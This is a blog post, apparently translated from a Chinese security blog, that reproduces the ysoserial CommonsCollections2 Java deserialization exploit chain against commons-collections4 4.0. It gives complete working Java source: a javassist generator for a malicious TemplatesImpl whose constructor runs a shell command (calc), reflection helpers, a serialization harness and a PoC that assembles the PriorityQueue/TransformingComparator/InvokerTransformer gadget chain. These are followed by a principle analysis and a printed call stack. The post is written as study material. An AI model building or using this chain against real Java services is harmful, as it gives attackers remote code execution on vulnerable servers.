preface
java selects 8u111 for reproduction
According to ysoserial prompt, CC4 is required 0 version
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
Code reproduction
Tool class
In order to facilitate other deserialization chains, I encapsulated the code
Generate malicious TemplatesImpl:
TemplatesGeneratorPacked/GetAbstractTranslet.java
package TemplatesGeneratorPacked; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*; public class GetAbstractTranslet { public static byte[] generate() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("e"); CtClass zuper = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(zuper); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}"); clazz.addConstructor(constructor); return clazz.toBytecode(); } }
TemplatesGeneratorPacked/GetTemplatesImpl.java
package TemplatesGeneratorPacked; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import ReflectPacked.ValueGetterSetter; public class GetTemplatesImpl { public static TemplatesImpl getTemplatesImpl() throws Exception{ byte[][] bytes = new byte[][]{GetAbstractTranslet.generate()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); ValueGetterSetter.setValue(templates, "_bytecodes", bytes); ValueGetterSetter.setValue(templates, "_name", "a"); ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } }
Reflection get/set:
ReflectPacked/ValueGetterSetter.java
package ReflectPacked; import java.lang.reflect.Field; public class ValueGetterSetter { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); } }
Deserialization:
UnserializePacked.Unserialize.java
package UnserializePacked; import java.io.*; public class Unserialize { public static void unserialize(Object obj) throws Exception{ File f = File.createTempFile("temp", "out"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(obj); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); Object o = ois.readObject(); System.out.println(o); ois.close(); f.deleteOnExit(); } }
PoC
package cc.cc2; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.util.PriorityQueue; import javax.xml.transform.Templates; import ReflectPacked.ValueGetterSetter; import TemplatesGeneratorPacked.GetTemplatesImpl; import UnserializePacked.Unserialize; public class PoC { public static void main(String[] args) throws Exception { Templates templates = GetTemplatesImpl.getTemplatesImpl(); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); TransformingComparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(1); ValueGetterSetter.setValue(transformer, "iMethodName", "newTransformer"); Object[] queueArray = (Object[]) ValueGetterSetter.getValue(queue, "queue"); queueArray[0] = templates; Unserialize.unserialize(queue); } }
Code audit | principle analysis
1. InvokerTransformer.transform() reflection calls templatesimpl newTransformer()
TemplatesImpl. Trigger transformer_ The principle of bytecodes class loading will not be repeated
When InvokerTransformer is instantiated, it passes in the specified method name, parameter type and parameter value. If transformer() is called to pass in Object, the method will be called through reflection
So we need an InvokerTransformer to call newTransformer()
2. TransformingComparator.compare() calls this transformer. transform()
compare() calls this transformer. Transform(), compare the first element first
this.transformer passes parameters from constructor
Therefore, we need to instantiate the transforming comparator and pass in the InvokerTransformer
3. PriorityQueue deserializes and calls comparator compare()
PriorityQueue overrides readObject and will call heapify()
If the comparator is set, enter the siftDownUsingComparator()
Then call comparator.. compare()
Why should PriorityQueue add another element?
If there is only one element in the PriorityQueue, it cannot enter the siftDown
And compare() also requires two elements to be passed in for comparison
Why add 1. InvokerTransformer to PriorityQueue, call toString, and then modify it by reflection?
At first, looking at the chain, I found out why reflection is used here
Because the add method of PriorityQueue will call comparator(), otherwise an error will be thrown. When instantiating PriorityQueue, InvokerTransformer needs to call the methods of int 1, so toString is called first, and then reflection is used to replace it with newTransformer
As for why not directly pass in templates, combined with the analysis of add above: if it is passed in, RCE will be triggered locally when generating the sequence payload, so it will be replaced with reflection at the end
Why modify the queue attribute when modifying the element of PriorityQueue?
Assign a value to PriorityQueue, call the add method, then continue to call the offer method, and finally store the element value in the queue
queue is an Object array. The reflection will get the address and directly modify itself instead of copying the value
POP chain
defineTransletClasses:393, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) unserialize:14, Unserialize (UnserializePacked) main:30, PoC (cc.cc2)
finish
Welcome to my CSDN blog: @ Ho1aAs
Copyright: Ho1aAs
Link to this article:[ https://blog.csdn.net/Xxy605/article/details/123408961](https://blog.csdn.net/Xxy605/article/details/123408961
| | |
|–|--|
| | |
)
Copyright notice: This article is original, and the source and this notice must be indicated when reprinting